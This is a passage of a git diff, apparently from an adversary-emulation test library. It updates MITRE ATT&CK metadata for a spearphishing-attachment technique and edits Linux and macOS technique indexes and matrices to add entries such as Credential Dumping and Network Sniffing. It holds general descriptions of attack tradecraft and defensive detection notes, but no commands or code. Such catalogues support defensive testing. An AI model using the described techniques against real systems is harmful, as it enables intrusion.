'2018-04-18T17:59:24.739Z' + x_mitre_effective_permissions: + - User + - Administrator + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + - phase_name: initial-access + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:00.645Z' atomic_tests: [] T1193: technique: + id: attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Spearphishing Attachment description: |- - Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. - - There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. + Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. - Detection: Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. - - Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting. - - Platforms: Linux, Windows, macOS - - Data Sources: File monitoring, Packet capture, Mail server, Network intrusion detection system, Detonation chamber, Email gateway - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: initial-access + There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1193 + - external_id: T1193 + url: https://attack.mitre.org/techniques/T1193 source_name: mitre-attack - external_id: T1193 + - external_id: CAPEC-163 + url: https://capec.mitre.org/data/definitions/163.html + source_name: capec object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-04-18T17:59:24.739Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - Packet capture - - Mail server - Network intrusion detection system - Detonation chamber - Email gateway - modified: '2018-04-18T17:59:24.739Z' + - Mail server + x_mitre_detection: |- + Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. + + Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064). + x_mitre_platforms: + - Windows + - macOS + - Linux type: attack-pattern - id: attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38 + kill_chain_phases: + - phase_name: initial-access + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2018-04-18T17:59:24.739Z' identifier: T1193 atomic_tests: - name: Download Phishing Attachment - VBScript diff --git a/atomics/linux-index.md b/atomics/linux-index.md index f407bf38be..9246d24f0e 100644 --- a/atomics/linux-index.md +++ b/atomics/linux-index.md @@ -20,6 +20,8 @@ - Atomic Test #2: Cron Job [macos, centos, ubuntu, linux] - T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1166 Setuid and Setgid](./T1166/T1166.md) + - Atomic Test #1: Setuid and Setgid [macos, centos, ubuntu, linux] - [T1154 Trap](./T1154/T1154.md) - Atomic Test #1: Trap [macos, centos, ubuntu, linux] - T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -40,6 +42,8 @@ - [T1046 Network Service Scanning](./T1046/T1046.md) - Atomic Test #1: Port Scan [linux, macos] - Atomic Test #2: Port Scan Nmap [linux, macos] +- [T1040 Network Sniffing](./T1040/T1040.md) + - Atomic Test #1: Packet Capture Linux [linux] - [T1201 Password Policy Discovery](./T1201/T1201.md) - Atomic Test #1: Examine password complexity policy - Ubuntu [ubuntu] - Atomic Test #2: Examine password complexity policy - CentOS/RHEL 7.x [centos] @@ -111,6 +115,7 @@ - [T1139 Bash History](./T1139/T1139.md) - Atomic Test #1: xxxx [linux, macos] - [T1110 Brute Force](./T1110/T1110.md) +- [T1003 Credential Dumping](./T1003/T1003.md) - [T1081 Credentials in Files](./T1081/T1081.md) - Atomic Test #2: Extract credentials from files [macos, linux] - T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -144,6 +149,7 @@ - Atomic Test #2: Delete a single file [linux] - Atomic Test #3: Delete an entire folder [linux] - Atomic Test #4: Overwrite and delete a file with shred [linux] +- T1222 File Permissions Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1148 HISTCONTROL](./T1148/T1148.md) - Atomic Test #1: Disable history collection [linux, macos] - Atomic Test #2: Mac HISTCONTROL [macos, linux] diff --git a/atomics/linux-matrix.md b/atomics/linux-matrix.md index eda75b47b6..c7b8324e6f 100644 --- a/atomics/linux-matrix.md +++ b/atomics/linux-matrix.md @@ -3,22 +3,23 @@ |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| | Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Binary Padding](./T1009/T1009.md) | [Bash History](./T1139/T1139.md) | [Account Discovery](./T1087/T1087.md) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Audio Capture](./T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Injection](./T1055/T1055.md) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | [Browser Bookmark Discovery](./T1217/T1217.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | [Setuid and Setgid](./T1166/T1166.md) | [Disabling Security Tools](./T1089/T1089.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Remote File Copy](./T1105/T1105.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](./T1090/T1090.md) | -| [Spearphishing Attachment](./T1193/T1193.md) | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | [Sudo](./T1169/T1169.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Scripting](./T1064/T1064.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Sudo Caching](./T1206/T1206.md) | [File Deletion](./T1107/T1107.md) | [Input Capture](./T1056/T1056.md) | [Password Policy Discovery](./T1201/T1201.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Source](./T1153/T1153.md) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](./T1132/T1132.md) | -| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Local Job Scheduling](./T1168/T1168.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Trap](./T1154/T1154.md) | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Information Discovery](./T1082/T1082.md) | | [Input Capture](./T1056/T1056.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Trap](./T1154/T1154.md) | | [Install Root Certificate](./T1130/T1130.md) | | [System Network Configuration Discovery](./T1016/T1016.md) | | [Screen Capture](./T1113/T1113.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Masquerading](./T1036/T1036.md) | | [System Network Connections Discovery](./T1049/T1049.md) | | | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Obfuscated Files or Information](./T1027/T1027.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | | | [Process Injection](./T1055/T1055.md) | | | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | | | [Rootkit](./T1014/T1014.md) | | | | | | [Remote File Copy](./T1105/T1105.md) | -| | | | | [Scripting](./T1064/T1064.md) | | | | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | | | [Space after Filename](./T1151/T1151.md) | | | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | | | [Timestomp](./T1099/T1099.md) | | | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Uncommonly Used Port](./T1065/T1065.md) | -| | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | [Setuid and Setgid](./T1166/T1166.md) | [Disabling Security Tools](./T1089/T1089.md) | [Credential Dumping](./T1003/T1003.md) | [File and Directory Discovery](./T1083/T1083.md) | [Remote File Copy](./T1105/T1105.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](./T1090/T1090.md) | +| [Spearphishing Attachment](./T1193/T1193.md) | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | [Sudo](./T1169/T1169.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Files](./T1081/T1081.md) | [Network Service Scanning](./T1046/T1046.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Scripting](./T1064/T1064.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Sudo Caching](./T1206/T1206.md) | [File Deletion](./T1107/T1107.md) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](./T1040/T1040.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Source](./T1153/T1153.md) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | File Permissions Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Password Policy Discovery](./T1201/T1201.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](./T1132/T1132.md) | +| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Local Job Scheduling](./T1168/T1168.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Trap](./T1154/T1154.md) | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | | [Input Capture](./T1056/T1056.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Information Discovery](./T1082/T1082.md) | | [Screen Capture](./T1113/T1113.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Trap](./T1154/T1154.md) | | [Install Root Certificate](./T1130/T1130.md) | | [System Network Configuration Discovery](./T1016/T1016.md) | | | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Masquerading](./T1036/T1036.md) | | [System Network Connections Discovery](./T1049/T1049.md) | | | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Obfuscated Files or Information](./T1027/T1027.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | [Process Injection](./T1055/T1055.md) | | | | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Remote File Copy](./T1105/T1105.md) | +| | | | | [Rootkit](./T1014/T1014.md) | | | | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | [Scripting](./T1064/T1064.md) | | | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | [Space after Filename](./T1151/T1151.md) | | | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | [Timestomp](./T1099/T1099.md) | | | | | | [Uncommonly Used Port](./T1065/T1065.md) | +| | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | diff --git a/atomics/macos-index.md b/atomics/macos-index.md index 55e14ad563..d3ec65a217 100644 --- a/atomics/macos-index.md +++ b/atomics/macos-index.md @@ -41,6 +41,8 @@ - Atomic Test #1: Re-Opened Applications [macos] - Atomic Test #2: Re-Opened Applications [macos] - T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1166 Setuid and Setgid](./T1166/T1166.md) + - Atomic Test #1: Setuid and Setgid [macos, centos, ubuntu, linux] - [T1165 Startup Items](./T1165/T1165.md) - Atomic Test #1: Startup Items [macos] - Atomic Test #2: Startup Items (emond rule) [macos] @@ -68,6 +70,8 @@ - Atomic Test #2: Port Scan Nmap [linux, macos] - [T1135 Network Share Discovery](./T1135/T1135.md) - Atomic Test #1: Network Share Discovery [macos, linux] +- [T1040 Network Sniffing](./T1040/T1040.md) + - Atomic Test #2: Packet Capture MacOS [macos] - [T1201 Password Policy Discovery](./T1201/T1201.md) - [T1069 Permission Groups Discovery](./T1069/T1069.md) - Atomic Test #1: Permission Groups Discovery [macos, linux] @@ -166,6 +170,7 @@ - [T1139 Bash History](./T1139/T1139.md) - Atomic Test #1: xxxx [linux, macos] - [T1110 Brute Force](./T1110/T1110.md) +- [T1003 Credential Dumping](./T1003/T1003.md) - [T1081 Credentials in Files](./T1081/T1081.md) - Atomic Test #1: Browser and System credentials [macos] - Atomic Test #2: Extract credentials from files [macos, linux] @@ -199,6 +204,7 @@ - Atomic Test #7: Disable OpenDNS Umbrella [macos] - T1211 Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1107 File Deletion](./T1107/T1107.md) +- T1222 File Permissions Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1144 Gatekeeper Bypass](./T1144/T1144.md) - Atomic Test #1: Gatekeeper Bypass [macos] - [T1148 HISTCONTROL](./T1148/T1148.md) @@ -242,8 +248,6 @@ # command-and-control - T1043 Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1092 Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1090 Connection Proxy](./T1090/T1090.md) - - Atomic Test #1: Connection Proxy [macos, linux] - T1094 Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1024 Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1132 Data Encoding](./T1132/T1132.md) diff --git a/atomics/macos-matrix.md b/atomics/macos-matrix.md index 5ec53e510d..196ea6a991 100644 --- a/atomics/macos-matrix.md +++ b/atomics/macos-matrix.md @@ -3,25 +3,26 @@ |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| | Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppleScript](./T1155/T1155.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Binary Padding](./T1009/T1009.md) | [Bash History](./T1139/T1139.md) | [Account Discovery](./T1087/T1087.md) | [AppleScript](./T1155/T1155.md) | [Audio Capture](./T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | [Browser Extensions](./T1176/T1176.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | Application Window Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Create Account](./T1136/T1136.md) | [Launch Daemon](./T1160/T1160.md) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Files](./T1081/T1081.md) | [Browser Bookmark Discovery](./T1217/T1217.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](./T1090/T1090.md) | -| [Spearphishing Attachment](./T1193/T1193.md) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Plist Modification](./T1150/T1150.md) | [Disabling Security Tools](./T1089/T1089.md) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](./T1152/T1152.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Network Service Scanning](./T1046/T1046.md) | [Remote File Copy](./T1105/T1105.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](./T1168/T1168.md) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | [File Deletion](./T1107/T1107.md) | [Input Prompt](./T1141/T1141.md) | [Network Share Discovery](./T1135/T1135.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](./T1132/T1132.md) | -| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Scripting](./T1064/T1064.md) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Startup Items](./T1165/T1165.md) | [Gatekeeper Bypass](./T1144/T1144.md) | [Keychain](./T1142/T1142.md) | [Password Policy Discovery](./T1201/T1201.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Source](./T1153/T1153.md) | [Launch Agent](./T1159/T1159.md) | [Sudo](./T1169/T1169.md) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Launch Daemon](./T1160/T1160.md) | [Sudo Caching](./T1206/T1206.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | [Input Capture](./T1056/T1056.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](./T1152/T1152.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | 